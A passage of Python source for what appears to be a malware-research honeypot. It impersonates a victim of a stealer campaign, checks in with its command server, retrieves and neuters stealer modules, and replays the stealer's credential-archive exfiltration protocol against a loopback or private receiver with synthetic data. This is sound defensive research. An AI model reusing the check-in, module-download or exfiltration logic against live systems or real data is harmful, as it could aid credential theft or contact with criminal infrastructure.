self.os_version = random.choice(["Windows 11 Pro", "Windows 10 Pro", "Windows 11 Enterprise", "Windows 10 Enterprise"])
if not self.av_product:
self.av_product = random.choice(["Windows Defender", "Windows Defender", "Avast Antivirus", "ESET Security"])
if not self.checkin_id:
self.checkin_id = f"{int.from_bytes(os.urandom(4), 'big'):08X}"
if not self.country:
self.country = random.choice(["US", "CA", "DE", "GB", "AU"])
return self
def checkin_message(self):
return f"ready;{self.checkin_id};version;{BOT_VERSION}"
def info_message(self):
return f"info;{self.av_product or 'unknown'};{self.os_version};{self.username};{self.bot_id}"
def build_profile(args):
return VictimProfile(
hostname=getattr(args, "hostname", "") or "",
username=getattr(args, "user", "") or "",
os_version=getattr(args, "os_version", "") or "",
av_product=getattr(args, "av", "") or "",
bot_id=getattr(args, "botid", CAMPAIGN_ID) or CAMPAIGN_ID,
checkin_id=(getattr(args, "id", "") or "").upper(),
country=(getattr(args, "country", "") or "").upper(),
).randomize()
def sha256_bytes(data):
return hashlib.sha256(data).hexdigest()
def read_only(path: Path):
try:
os.chmod(path, stat.S_IRUSR)
except OSError:
try:
os.chmod(path, stat.S_IREAD)
except OSError:
pass
def safe_component(value, max_len=64):
return bool(value) and len(value) <= max_len and all(c in SAFE_TASK_CHARS for c in value)
def response_preview(data, limit=240):
return data[:limit].decode("utf-8", errors="replace").replace("\r", "\\r").replace("\n", "\\n") if data else ""
# ---------------------------------------------------------------------------
# Module 1: delivery / staging probe
# ---------------------------------------------------------------------------
def _png_chunk(kind, payload):
crc = zlib.crc32(kind)
crc = zlib.crc32(payload, crc) & 0xFFFFFFFF
return struct.pack(">I", len(payload)) + kind + payload + struct.pack(">I", crc)
def make_synthetic_desktop_png(width=960, height=540):
"""Generate a fake desktop-like PNG without reading the analyst desktop."""
width = max(320, min(width, 1920)); height = max(180, min(height, 1080))
rows = bytearray()
for y in range(height):
rows.append(0)
for x in range(width):
r = 20 + int(20 * y / height); g = 75 + int(45 * x / width); b = 130 + int(80 * y / height)
wx0, wy0, wx1, wy1 = width // 7, height // 8, width * 6 // 7, height * 4 // 5
if wx0 <= x <= wx1 and wy0 <= y <= wy1:
r, g, b = ((45, 48, 54) if y < wy0 + 32 else (235, 237, 240))
if wx0 + 18 <= x <= wx0 + 150 and wy0 + 55 <= y <= wy1 - 20:
r, g, b = 220, 224, 229
if wx0 + 180 <= x <= wx1 - 25:
if wy0 + 65 <= y <= wy0 + 120: r, g, b = 210, 225, 244
elif wy0 + 145 <= y <= wy0 + 205: r, g, b = 224, 234, 220
if y >= height - 42: r, g, b = 25, 28, 33
if 18 <= x <= 70 and 18 <= y <= 50: r, g, b = 220, 50, 50
rows.extend((r, g, b))
sig = b"\x89PNG\r\n\x1a\n"
ihdr = struct.pack(">IIBBBBB", width, height, 8, 2, 0, 0, 0)
return sig + _png_chunk(b"IHDR", ihdr) + _png_chunk(b"tEXt", b"Comment\x00SYNTHETIC RESEARCH DESKTOP - NO VICTIM DATA") + _png_chunk(b"IDAT", zlib.compress(bytes(rows), 6)) + _png_chunk(b"IEND", b"")
@dataclass
class HTTPObservation:
method: str
url: str
status: Optional[int]
response_size: int
response_sha256: Optional[str]
content_type: str
preview: str
error: str = ""
def http_request(method, url, *, user_agent, body, timeout, insecure_tls):
req = urllib.request.Request(url, data=body, method=method)
req.add_header("User-Agent", user_agent)
if body is not None:
req.add_header("Content-Type", "application/x-www-form-urlencoded")
ctx = ssl._create_unverified_context() if insecure_tls else ssl.create_default_context()
try:
with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:
data = resp.read(1024 * 1024)
return HTTPObservation(method, url, getattr(resp, "status", None), len(data), sha256_bytes(data) if data else None, resp.headers.get("Content-Type", ""), response_preview(data))
except urllib.error.HTTPError as exc:
try: data = exc.read(1024 * 1024)
except Exception: data = b""
return HTTPObservation(method, url, exc.code, len(data), sha256_bytes(data) if data else None, exc.headers.get("Content-Type", "") if exc.headers else "", response_preview(data), f"HTTP error: {exc}")
except Exception as exc:
return HTTPObservation(method, url, None, 0, None, "", "", str(exc))
def delivery_cycle(args, profile, log):
base = args.delivery_base.rstrip("/")
query = urllib.parse.urlencode({"pc": profile.hostname, "country": profile.country})
start_url, screen_url, end_url = f"{base}/start.php?{query}", f"{base}/screen.php?{query}", f"{base}/end.php?{query}"
png = make_synthetic_desktop_png(args.screen_width, args.screen_height)
image_uri = "data:image/png;base64," + base64.b64encode(png).decode("ascii")
screen_body = urllib.parse.urlencode({"pc": profile.hostname, "image": image_uri}).encode("ascii")
log.event("PROFILE", f"Synthetic delivery victim: host={profile.hostname} country={profile.country}", module="delivery", synthetic=True, profile=asdict(profile))
log.event("SCREEN", f"Generated synthetic desktop PNG: {len(png)} bytes sha256={sha256_bytes(png)}", module="delivery", png_sha256=sha256_bytes(png))
if args.dry_run:
log.event("DRYRUN", f"GET {start_url}", module="delivery")
log.event("DRYRUN", f"POST {screen_url} fields=[pc,image] encoded_bytes={len(screen_body)}", module="delivery")
log.event("DRYRUN", f"GET {end_url}", module="delivery")
return
for tag, method, url, body in [("START", "GET", start_url, None), ("SCREEN", "POST", screen_url, screen_body), ("END", "GET", end_url, None)]:
obs = http_request(method, url, user_agent=args.staging_ua, body=body, timeout=args.delivery_timeout, insecure_tls=args.insecure_tls)
log.event(tag, f"{method} {url} -> status={obs.status} bytes={obs.response_size}" + (f" error={obs.error}" if obs.error else ""), module="delivery", observation=asdict(obs))
if obs.preview:
log.event("RESPONSE", f"{tag} response preview (recorded only, never executed): {obs.preview!r}", module="delivery")
# ---------------------------------------------------------------------------
# Module 2: TCP/406 WebSocket synthetic victim
# ---------------------------------------------------------------------------
def ws_encode(payload, opcode=WS_OP_BINARY):
mask = secrets.token_bytes(4); out = bytearray([0x80 | (opcode & 0x0F)]); n = len(payload)
if n <= 125: out.append(0x80 | n)
elif n <= 0xFFFF: out.append(0x80 | 126); out.extend(struct.pack(">H", n))
else: out.append(0x80 | 127); out.extend(struct.pack(">Q", n))
out.extend(mask); out.extend(bytes(b ^ mask[i % 4] for i, b in enumerate(payload)))
return bytes(out)
class WSReader:
def __init__(self, sock, leftover=b""):
self.sock = sock; self.buf = bytearray(leftover); self.frag_opcode = None; self.frag_payload = bytearray()
def _need(self, n):
while len(self.buf) < n:
chunk = self.sock.recv(4096)
if not chunk: raise ConnectionError("peer closed")
self.buf.extend(chunk)
def read_frame(self, timeout=1.0):
self.sock.settimeout(timeout)
try: self._need(2)
except socket.timeout: return None
b0, b1 = self.buf[0], self.buf[1]; fin = bool(b0 & 0x80); opcode = b0 & 0x0F; masked = bool(b1 & 0x80); ln = b1 & 0x7F; pos = 2
if ln == 126: self._need(pos + 2); ln = struct.unpack(">H", self.buf[pos:pos+2])[0]; pos += 2
elif ln == 127: self._need(pos + 8); ln = struct.unpack(">Q", self.buf[pos:pos+8])[0]; pos += 8
mask = b""
if masked: self._need(pos + 4); mask = bytes(self.buf[pos:pos+4]); pos += 4
self._need(pos + ln); payload = bytearray(self.buf[pos:pos+ln]); del self.buf[:pos+ln]
if masked:
for i in range(ln): payload[i] ^= mask[i % 4]
return fin, opcode, bytes(payload)
def read_message(self, timeout=1.0):
while True:
fr = self.read_frame(timeout)
if fr is None: return None
fin, opcode, payload = fr
if opcode in (WS_OP_CLOSE, WS_OP_PING, WS_OP_PONG): return opcode, payload
if opcode in (WS_OP_TEXT, WS_OP_BINARY):
if fin: return opcode, payload
self.frag_opcode = opcode; self.frag_payload = bytearray(payload); continue
if opcode == WS_OP_CONT and self.frag_opcode is not None:
self.frag_payload.extend(payload)
if fin:
op, data = self.frag_opcode, bytes(self.frag_payload); self.frag_opcode = None; self.frag_payload.clear(); return op, data
def websocket_handshake(sock, host, port, log, user_agent):
host_header = host if port == 80 else f"{host}:{port}"
request = (f"GET / HTTP/1.1\r\nHost: {host_header}\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Key: {WS_KEY}\r\nSec-WebSocket-Version: 13\r\nUser-Agent: {user_agent}\r\n\r\n").encode("ascii")
sock.sendall(request); sock.settimeout(15); resp = bytearray()
while b"\r\n\r\n" not in resp:
chunk = sock.recv(4096)
if not chunk: raise ConnectionError("peer closed before WebSocket handshake completed")
resp.extend(chunk)
if len(resp) > MAX_HTTP_HEADER: raise ValueError("WebSocket handshake header exceeded safety limit")
head, leftover = bytes(resp).split(b"\r\n\r\n", 1); lines = head.decode("iso-8859-1", errors="replace").split("\r\n"); status = lines[0] if lines else ""; headers = {}
for line in lines[1:]:
if ":" in line:
k, v = line.split(":", 1); headers[k.strip().lower()] = v.strip()
log.event("HANDSHAKE", f"Control channel response: {status}", module="c2-406")
if "101" not in status: raise ConnectionError(f"server did not return HTTP 101: {status}")
expected = base64.b64encode(hashlib.sha1((WS_KEY + WS_GUID).encode("ascii")).digest()).decode("ascii")
actual = headers.get("sec-websocket-accept", "")
if actual and actual != expected: raise ConnectionError(f"unexpected Sec-WebSocket-Accept: {actual!r}")
return leftover
# ---------------------------------------------------------------------------
# Module 3: task-triggered TCP/408 module collector
# ---------------------------------------------------------------------------
@dataclass(frozen=True)
class ModuleTask:
task_type: str
task_id: str = ""
version: str = "unknown"
param: str = ""
raw: str = ""
def parse_createtask(text):
parts = [x.strip() for x in text.strip().split(";")]
if len(parts) < 3: return None
if parts[0].lower() == "task" and parts[1].lower() == "createtask": i = 2
elif parts[0].lower() == "createtask": i = 1
else: return None
task_type = ""; fields = {"task_id": "", "version": "unknown", "param": ""}
if i < len(parts) and parts[i].lower() not in {"task_id", "version", "param", "type"}: task_type = parts[i]; i += 1
while i < len(parts):
key = parts[i].lower()
if key == "type" and i + 1 < len(parts): task_type = parts[i+1]; i += 2
elif key in fields and i + 1 < len(parts): fields[key] = parts[i+1]; i += 2
else: i += 1
if not task_type: return None
return ModuleTask(task_type, fields["task_id"], fields["version"] or "unknown", fields["param"], text)
def minimal_pe_meta(raw):
meta = {"pe_like": False}
if len(raw) < 0x40 or raw[:2] != b"MZ": return meta
try: e = struct.unpack_from("<I", raw, 0x3C)[0]
except struct.error: return meta
meta["e_lfanew"] = e
if e < 0x40 or e + 26 > len(raw) or raw[e:e+4] != b"PE\x00\x00": return meta
machine, sections, ts = struct.unpack_from("<HHI", raw, e+4); opt_size = struct.unpack_from("<H", raw, e+20)[0]; magic = struct.unpack_from("<H", raw, e+24)[0]
meta.update(pe_like=True, machine=f"0x{machine:04x}", number_of_sections=sections, coff_timestamp=ts, optional_header_size=opt_size, optional_magic=f"0x{magic:04x}")
opt = e + 24
if magic in (0x10B, 0x20B) and opt + 0x3C <= len(raw):
meta["entrypoint_rva"] = f"0x{struct.unpack_from('<I', raw, opt+0x10)[0]:x}"; meta["size_of_image"] = struct.unpack_from("<I", raw, opt+0x38)[0]
return meta
def neuter_pe(raw, pe_meta):
patches = []; e = pe_meta.get("e_lfanew")
if len(raw) >= 2: raw[:2] = b"NZ"; patches.append("MZ signature changed to NZ")
if isinstance(e, int) and 0 <= e <= len(raw)-4:
raw[e:e+4] = b"\x00"*4; patches.append("PE signature zeroed")
if e+6 <= len(raw): raw[e+4:e+6] = b"\x00"*2; patches.append("COFF Machine zeroed")
if e+26 <= len(raw): raw[e+24:e+26] = b"\x00"*2; patches.append("Optional Header magic zeroed")
if len(raw) >= 0x40: raw[0x3C:0x40] = b"\x00"*4; patches.append("e_lfanew zeroed")
return patches
def fetch_task_module_http(host, port, task_type, checkin_id, timeout, max_bytes, log):
if not safe_component(task_type): raise ValueError("task type contains unsafe characters")
if not safe_component(checkin_id, 32): raise ValueError("check-in ID contains unsafe characters")
req = (f"GET /task/{task_type} HTTP/1.1\r\nHost: {host}\r\nUser-Agent: {checkin_id}\r\nConnection: close\r\n\r\n").encode("ascii")
log.event("MODULE-GET", f"GET {host}:{port}/task/{task_type} User-Agent={checkin_id}", module="c2-408")
with socket.create_connection((host, port), timeout=timeout) as sk:
sk.settimeout(timeout); sk.sendall(req); buf = bytearray()
while b"\r\n\r\n" not in buf:
chunk = sk.recv(4096)
if not chunk: break
buf.extend(chunk)
if len(buf) > MAX_HTTP_HEADER: raise ValueError("HTTP response header exceeded safety limit")
if b"\r\n\r\n" not in buf: raise ValueError("incomplete HTTP response")
head, first = bytes(buf).split(b"\r\n\r\n", 1); lines = head.decode("iso-8859-1", errors="replace").split("\r\n")
try: status = int(lines[0].split()[1])
except (IndexError, ValueError): raise ValueError(f"invalid HTTP status line: {lines[0]!r}")
headers = {}
for line in lines[1:]:
if ":" in line:
k, v = line.split(":", 1); headers[k.strip().lower()] = v.strip()
if status != 200: raise ValueError(f"module endpoint returned HTTP {status}")
body = bytearray(first); expected = None
if "content-length" in headers:
expected = int(headers["content-length"])
if expected <= 0 or expected > max_bytes: raise ValueError(f"Content-Length outside safety limit: {expected}")
while True:
if len(body) > max_bytes: raise ValueError(f"module exceeded maximum allowed size ({max_bytes} bytes)")
if expected is not None and len(body) >= expected: del body[expected:]; break
chunk = sk.recv(min(65536, max_bytes + 1 - len(body)))
if not chunk: break
body.extend(chunk)
if expected is not None and len(body) != expected: raise ValueError(f"short HTTP body: {len(body)}/{expected}")
if not body: raise ValueError("empty module body")
return headers, body
class ModuleCaptureManager:
def __init__(self, args, log): self.args, self.log, self.seen = args, log, set()
def capture(self, task, profile):
allowed = self.args.capture_type or ["Stealer"]
if task.task_type.lower() not in {x.lower() for x in allowed}:
self.log.event("MODULE-SKIP", f"Task type {task.task_type!r} is not in allowlist {allowed}", module="c2-408"); return
key = (profile.checkin_id.lower(), task.task_type.lower(), task.version.lower(), task.task_id.lower())
if key in self.seen: self.log.event("MODULE-SKIP", "Duplicate module task already processed", module="c2-408"); return
self.seen.add(key); raw = None
try:
host = self.args.task_host or self.args.c2_host
headers, raw = fetch_task_module_http(host, self.args.task_port, task.task_type, profile.checkin_id, self.args.task_timeout, self.args.max_module_bytes, self.log)
orig_size, orig_sha, pe = len(raw), sha256_bytes(raw), minimal_pe_meta(raw)
if not pe.get("pe_like"):
self.log.event("MODULE-SAFE", f"408 returned {orig_size} bytes sha256={orig_sha}, but body is not a valid PE; nothing written", module="c2-408"); return
patches = neuter_pe(raw, pe); qsha = sha256_bytes(raw); outdir = Path(self.args.capture_dir); outdir.mkdir(parents=True, exist_ok=True)
try: os.chmod(outdir, 0o700)
except OSError: pass
ver = task.version if safe_component(task.version, 32) else "unknown"; tid = task.task_id if safe_component(task.task_id, 64) else "noid"; ttype = task.task_type if safe_component(task.task_type) else "module"
base = f"{datetime.now().strftime('%Y%m%d_%H%M%S')}_synthetic_{ttype}_{ver}_{tid}_{orig_sha[:12]}"
dp, mp = outdir/(base+".quarantine.bin"), outdir/(base+".metadata.json")
fd = os.open(dp, os.O_WRONLY|os.O_CREAT|os.O_EXCL, 0o600)
with os.fdopen(fd, "wb") as fp: fp.write(raw); fp.flush()
read_only(dp)
rec = {"capture_time_utc": Logger.iso(), "task": asdict(task), "synthetic_checkin_id": profile.checkin_id, "control_channel": {"host": self.args.c2_host, "port": self.args.control_port}, "task_channel": {"host": host, "port": self.args.task_port, "path": f"/task/{task.task_type}", "user_agent": profile.checkin_id, "response_headers": headers}, "original_in_memory_only": {"size": orig_size, "sha256": orig_sha, "pe": pe}, "quarantine": {"file": dp.name, "sha256": qsha, "patches": patches, "original_header_bytes_preserved": False}, "safety": "Original PE bytes were never written to disk; executable-identifying fields were destroyed before disk I/O."}
with open(mp, "x", encoding="utf-8") as fp: json.dump(rec, fp, ensure_ascii=False, indent=2)
read_only(mp)
self.log.event("MODULE", f"Captured and neutered {task.task_type} {ver}: {dp} original_size={orig_size} original_sha256={orig_sha}", module="c2-408")
except Exception as exc:
self.log.event("MODULE-ERR", f"Module collection failed: {exc}", module="c2-408", task=asdict(task))
finally:
if raw is not None:
for i in range(len(raw)): raw[i] = 0
def classify_control_message(text):
t = text.strip().lower()
if t.startswith("ping"): return "PING"
if t.startswith("pong"): return "PONG"
if t.startswith("getinfo"): return "GETINFO"
if t.startswith("checkserver"): return "CHECKSERVER"
if t.startswith("task;") or t.startswith("createtask"): return "TASK"
if t.startswith("closetask"): return "CLOSETASK"
if t.startswith("update"): return "UPDATE"
if t.startswith("task_done;"): return "TASK_DONE"
return "UNCLASSIFIED"
def run_honeypot(args, profile, log):
checkin, info = profile.checkin_message(), profile.info_message()
log.event("PROFILE", f"Synthetic C2 victim: id={profile.checkin_id} user={profile.username} os={profile.os_version!r} av={profile.av_product!r}", module="c2-406", profile=asdict(profile))
if args.dry_run:
log.event("DRYRUN", f"Would connect to {args.c2_host}:{args.control_port}/WebSocket", module="c2-406")
log.event("DRYRUN", f"Would send: {checkin!r}", module="c2-406")
log.event("DRYRUN", f"Would answer getinfo with: {info!r}", module="c2-406")
if args.capture_modules: log.event("DRYRUN", f"Allowlisted createtask events would trigger TCP/408 retrieval from {args.task_host or args.c2_host}:{args.task_port}", module="c2-408")
return
manager = ModuleCaptureManager(args, log) if args.capture_modules else None; deadline = None if args.observe <= 0 else time.time() + args.observe
with socket.create_connection((args.c2_host, args.control_port), timeout=args.connect_timeout) as sock:
reader = WSReader(sock, websocket_handshake(sock, args.c2_host, args.control_port, log, args.c2_user_agent))
sock.sendall(ws_encode(checkin.encode())); log.event("SEND", f"Registered synthetic victim: {checkin!r}", module="c2-406")
while True:
if deadline is not None and time.time() >= deadline: log.event("INFO", f"Observation window ended after {args.observe:.1f} seconds", module="c2-406"); break
msg = reader.read_message(timeout=1.0)
if msg is None: continue
opcode, payload = msg
if opcode == WS_OP_CLOSE: log.event("RECV", "Server sent WebSocket CLOSE", module="c2-406"); break
if opcode == WS_OP_PING: sock.sendall(ws_encode(payload, opcode=WS_OP_PONG)); log.event("SEND", "Replied to WebSocket PING with PONG", module="c2-406"); continue
if opcode == WS_OP_PONG: log.event("RECV", "Received WebSocket PONG", module="c2-406"); continue
text = payload.decode("utf-8", errors="replace"); kind = classify_control_message(text)
log.event("RECV", f"C2 command [{kind}]: {text!r}", module="c2-406", command=text, classification=kind, raw_sha256=sha256_bytes(payload))
low = text.strip().lower()
if low.startswith("getinfo") and not args.no_getinfo_response:
sock.sendall(ws_encode(info.encode())); log.event("SEND", f"Sent synthetic victim information: {info!r}", module="c2-406")
elif low.startswith("ping"):
sock.sendall(ws_encode(b"pong")); log.event("SEND", "Sent application-layer pong", module="c2-406")
task = parse_createtask(text)
if task:
log.event("TASK", f"Observed createtask: type={task.task_type!r} id={task.task_id!r} version={task.version!r}", module="c2-406", task=asdict(task))
if manager: manager.capture(task, profile)
else: log.event("MODULE-OFF", f"Task {task.task_type!r} recorded; TCP/408 collection is disabled", module="c2-408")
# Intentionally: no task execution and no task_done response.
try: sock.sendall(ws_encode(b"", opcode=WS_OP_CLOSE))
except OSError: pass
# ---------------------------------------------------------------------------
# Module 4: controlled TCP/1488 Stealer exfiltration protocol lab
# ---------------------------------------------------------------------------
def resolve_controlled_target(host):
infos = socket.getaddrinfo(host, None, type=socket.SOCK_STREAM); addrs = []
for info in infos:
addr = info[4][0]
if addr not in addrs: addrs.append(addr)
if not addrs: raise ValueError("target did not resolve")
bad = [a for a in addrs if not (ipaddress.ip_address(a).is_loopback or ipaddress.ip_address(a).is_private or ipaddress.ip_address(a).is_link_local)]
if bad: raise ValueError("1488 safety policy blocks public destinations. Use a loopback/private sinkhole or lab receiver. Rejected: " + ", ".join(bad))
return addrs
def safe_archive_name(name):
name = name.replace("\\", "/").strip(); p = PurePosixPath(name)
if not name or "\x00" in name or len(name) > 240 or p.is_absolute() or ".." in p.parts or ":" in name: raise ValueError(f"unsafe archive entry path: {name!r}")
return str(p)
def deterministic_synthetic_bytes(label, size):
if size < 0 or size > MAX_EXFIL_ENTRY: raise ValueError(f"synthetic entry size must be 0..{MAX_EXFIL_ENTRY}")
seed = hashlib.sha256(("GENESIS-LAB:" + label).encode()).digest(); return (seed * ((size + len(seed)-1)//len(seed)))[:size] if size else b""
def parse_synthetic_entries(text_specs, byte_specs):
entries = []
for spec in text_specs:
if "=" not in spec: raise ValueError(f"--entry requires NAME=TEXT, got {spec!r}")
name, text = spec.split("=", 1); name = safe_archive_name(name); data = text.encode()
if len(data) > MAX_EXFIL_ENTRY: raise ValueError(f"entry {name!r} is too large")
entries.append((name, data))
for spec in byte_specs:
if "=" not in spec: raise ValueError(f"--entry-bytes requires NAME=SIZE, got {spec!r}")
name, size_s = spec.rsplit("=", 1); name = safe_archive_name(name); entries.append((name, deterministic_synthetic_bytes(name, int(size_s, 0))))
if not entries:
entries = [("Applications/Ai/Codex/auth.json", b'{"lab":true,"token":"SYNTHETIC_NOT_A_REAL_TOKEN"}\n'), ("Applications/Minecraft/launcher_accounts.json", b'{"lab":true,"account":"SYNTHETIC_ONLY"}\n'), ("LAB_README.txt", b"GENESIS-SU / REDHIVE 1488 PROTOCOL LAB - SYNTHETIC DATA ONLY\n")]
if len(entries) > MAX_EXFIL_ENTRIES: raise ValueError(f"too many entries (max {MAX_EXFIL_ENTRIES})")
if len({n for n,_ in entries}) != len(entries): raise ValueError("duplicate archive entry name")
return entries
def build_synthetic_zip(entries):
bio = io.BytesIO()
with zipfile.ZipFile(bio, "w", compression=zipfile.ZIP_DEFLATED) as zf:
for name, data in entries:
zi = zipfile.ZipInfo(safe_archive_name(name)); zi.date_time = (2026,1,1,0,0,0); zi.compress_type = zipfile.ZIP_DEFLATED; zi.external_attr = 0o100600 << 16; zf.writestr(zi, data)
blob = bio.getvalue()
if len(blob) > MAX_EXFIL_ARCHIVE: raise ValueError(f"archive exceeds {MAX_EXFIL_ARCHIVE} bytes")
return blob
def zip_manifest(blob):
with zipfile.ZipFile(io.BytesIO(blob), "r") as zf:
return [{"name": i.filename, "uncompressed_size": i.file_size, "compressed_size": i.compress_size, "crc32": f"{i.CRC:08x}"} for i in zf.infolist()]
def recv_exact(sock, n):
out = bytearray()
while len(out) < n:
chunk = sock.recv(n-len(out))
if not chunk: raise ConnectionError(f"peer closed after {len(out)}/{n} bytes")
out.extend(chunk)
return bytes(out)
def recv_line(sock, limit=128):
out = bytearray()
while len(out) < limit:
b = sock.recv(1)
if not b: raise ConnectionError("peer closed before newline")
out.extend(b)
if b == b"\n": return bytes(out)
raise ValueError("identity line exceeded limit")
def receive_auth(sock, mode, timeout):
sock.settimeout(timeout)
if mode == "malware":
data = sock.recv(0x100)
if AUTH_MARKER not in data: raise RuntimeError(f"single-recv auth check failed; received={data!r}")
return data
buf = bytearray(); deadline = time.monotonic() + timeout
while time.monotonic() < deadline and len(buf) < 4096:
try: chunk = sock.recv(0x100)
except socket.timeout: break
if not chunk: break
buf.extend(chunk)
if AUTH_MARKER in buf: return bytes(buf)
raise RuntimeError(f"auth marker not observed; received={bytes(buf)!r}")
def run_exfil_server(args, log):
resolve_controlled_target(args.bind)
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as srv:
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1); srv.bind((args.bind, args.exfil_port)); srv.listen(5)
log.event("LISTEN", f"1488 lab receiver listening on {args.bind}:{args.exfil_port}", module="c2-1488-lab")
for txn in range(1, args.transactions+1):
conn, peer = srv.accept()
with conn:
conn.settimeout(args.exfil_timeout); ident = recv_line(conn); text = ident.decode("ascii", errors="replace").rstrip("\n")
log.event("EXFIL-ID", f"Transaction {txn}: identity={text!r} from {peer[0]}", module="c2-1488-lab")
if not re.fullmatch(r"stealer;[0-9A-Fa-f]{1,16}", text): raise ValueError(f"unexpected identity line: {text!r}")
if args.auth_split and 0 < args.auth_split < len(AUTH_MARKER): conn.sendall(AUTH_MARKER[:args.auth_split]); time.sleep(args.auth_delay); conn.sendall(AUTH_MARKER[args.auth_split:])
else: conn.sendall(AUTH_MARKER)
declared = struct.unpack(">Q", recv_exact(conn, 8))[0]
if declared > args.max_archive: raise ValueError(f"declared archive length {declared} exceeds limit")
archive = recv_exact(conn, declared); manifest = zip_manifest(archive)
log.event("EXFIL-ZIP", f"Transaction {txn}: synthetic ZIP bytes={len(archive)} sha256={sha256_bytes(archive)} entries={len(manifest)}", module="c2-1488-lab", entries=manifest)
def run_exfil_client(args, profile, log):
resolve_controlled_target(args.exfil_host); entries = parse_synthetic_entries(args.entry, args.entry_bytes); batches = [entries] if args.layout == "batch" else [[e] for e in entries]
for idx, batch in enumerate(batches, 1):
archive = build_synthetic_zip(batch); ident = f"stealer;{profile.checkin_id}\n".encode("ascii"); wire_len = struct.pack(">Q", len(archive))
if args.dry_run:
log.event("DRYRUN", f"1488 transaction {idx}: target={args.exfil_host}:{args.exfil_port} identity={ident!r} archive_bytes={len(archive)} length_wire={wire_len.hex()}", module="c2-1488-lab", manifest=zip_manifest(archive)); continue
with socket.create_connection((args.exfil_host, args.exfil_port), timeout=args.exfil_timeout) as sock:
sock.settimeout(args.exfil_timeout); sock.sendall(ident); ack = receive_auth(sock, args.ack_mode, args.exfil_timeout); sock.sendall(wire_len); sock.sendall(archive)
try: sock.shutdown(socket.SHUT_WR)
except OSError: pass
log.event("EXFIL", f"Sent synthetic 1488 transaction {idx}: bytes={len(archive)} sha256={sha256_bytes(archive)} entries={len(batch)}", module="c2-1488-lab", ack_hex=ack.hex(), length_wire_hex=wire_len.hex(), entries=zip_manifest(archive))
def run_exfil_selftest(log):
listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM); listener.bind(("127.0.0.1", 0)); listener.listen(1); port = listener.getsockname()[1]; result = {}
def srv():
try:
conn,_ = listener.accept()
with conn:
result["identity"] = recv_line(conn).decode().rstrip(); conn.sendall(AUTH_MARKER); n = struct.unpack(">Q", recv_exact(conn,8))[0]; body = recv_exact(conn,n); result["length"] = n; result["sha256"] = sha256_bytes(body); result["manifest"] = zip_manifest(body)
finally: listener.close()
t = threading.Thread(target=srv, daemon=True); t.start(); entries = [("Applications/Ai/Codex/auth.json", b'{"lab":true}\n'), ("Applications/Minecraft/test.txt", b"SYNTHETIC\n")]; archive = build_synthetic_zip(entries)
with socket.create_connection(("127.0.0.1", port), timeout=3) as sock:
sock.sendall(b"stealer;A1B2C3D4\n"); receive_auth(sock, "malware", 3); sock.sendall(struct.pack(">Q", len(archive))); sock.sendall(archive)
t.join(3)
assert result["length"] == len(archive) and result["sha256"] == sha256_bytes(archive) and [x["name"] for x in result["manifest"]] == [x[0] for x in entries]
# Reproduce fragmented auth weakness.
listener2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM); listener2.bind(("127.0.0.1", 0)); listener2.listen(1); port2 = listener2.getsockname()[1]
def srv2():
try:
conn,_ = listener2.accept()
with conn: recv_line(conn); conn.sendall(b"aut"); time.sleep(0.15); conn.sendall(b"h_ok")
finally: listener2.close()
t2 = threading.Thread(target=srv2, daemon=True); t2.start(); failed = False
try:
with socket.create_connection(("127.0.0.1", port2), timeout=2) as sock: sock.sendall(b"stealer;A1B2C3D4\n"); receive_auth(sock, "malware", 1)
except RuntimeError: failed = True
t2.join(2); assert failed
log.event("SELFTEST", "1488 loopback protocol self-test passed", module="c2-1488-lab", batch_zip_single_transaction=True, archive_entry_names_preserved=True, length_field="8-byte big-endian ZIP byte count", fragmented_auth_breaks_single_recv=True, external_network_calls=0)
# ---------------------------------------------------------------------------
# CLI
# ---------------------------------------------------------------------------
def add_common(p):
p.add_argument("--logfile", default=None, help="append structured JSONL evidence")
p.add_argument("--dry-run", action="store_true", help="print intended actions without networking")
def add_profile(p):
p.add_argument("--hostname", default="", help="synthetic computer name")
p.add_argument("--user", default="", help="synthetic username")
p.add_argument("--os", dest="os_version", default="", help="synthetic Windows version")
p.add_argument("--av", default="", help="synthetic antivirus product")
p.add_argument("--id", default="", help="synthetic 8-hex check-in ID")
p.add_argument("--botid", default=CAMPAIGN_ID, help="observed campaign ID")
p.add_argument("--country", default="", help="synthetic two-letter country code")
def add_delivery(p):
p.add_argument("--delivery-base", default=DEFAULT_DELIVERY_BASE)
p.add_argument("--staging-ua", default=DEFAULT_STAGING_UA)
p.add_argument("--delivery-timeout", type=float, default=15.0)
p.add_argument("--screen-width", type=int, default=960)
p.add_argument("--screen-height", type=int, default=540)
p.add_argument("--insecure-tls", action="store_true", help="disable TLS certificate verification")
def add_c2(p):
p.add_argument("--c2-host", default=DEFAULT_C2_HOST)
p.add_argument("--control-port", type=int, default=DEFAULT_CONTROL_PORT)
p.add_argument("--observe", type=float, default=120.0, help="observation seconds; <=0 means no fixed deadline")
p.add_argument("--connect-timeout", type=float, default=15.0)
p.add_argument("--c2-user-agent", default="Mozilla/5.0 (Windows NT 10.0; Win64; x64)")
p.add_argument("--no-getinfo-response", action="store_true")
p.add_argument("--capture-modules", action="store_true", help="enable task-triggered TCP/408 module collection")
p.add_argument("--task-host", default="", help="task host; defaults to --c2-host")
p.add_argument("--task-port", type=int, default=DEFAULT_TASK_PORT)
p.add_argument("--capture-type", action="append", default=None, metavar="TYPE", help="allowlisted module type; repeatable; default Stealer")
p.add_argument("--capture-dir", default="captured_modules")
p.add_argument("--task-timeout", type=float, default=12.0)
p.add_argument("--max-module-bytes", type=int, default=MAX_MODULE_BYTES)
def build_parser():
p = argparse.ArgumentParser(formatter_class=argparse.RawDescriptionHelpFormatter, description="Genesis-SU synthetic victim research suite\n\nAll victim data is synthetic. Remote commands/responses are recorded only and never executed.")
sub = p.add_subparsers(dest="command", required=True)
x = sub.add_parser("delivery", help="synthetic delivery/staging callbacks and fake screenshot upload"); add_common(x); add_profile(x); add_delivery(x)
x = sub.add_parser("honeypot", help="register a synthetic victim on TCP/406; optionally collect allowlisted 408 modules"); add_common(x); add_profile(x); add_c2(x)
x = sub.add_parser("workflow", help="delivery -> TCP/406 -> optional task-triggered TCP/408 using one synthetic identity"); add_common(x); add_profile(x); add_delivery(x); add_c2(x)
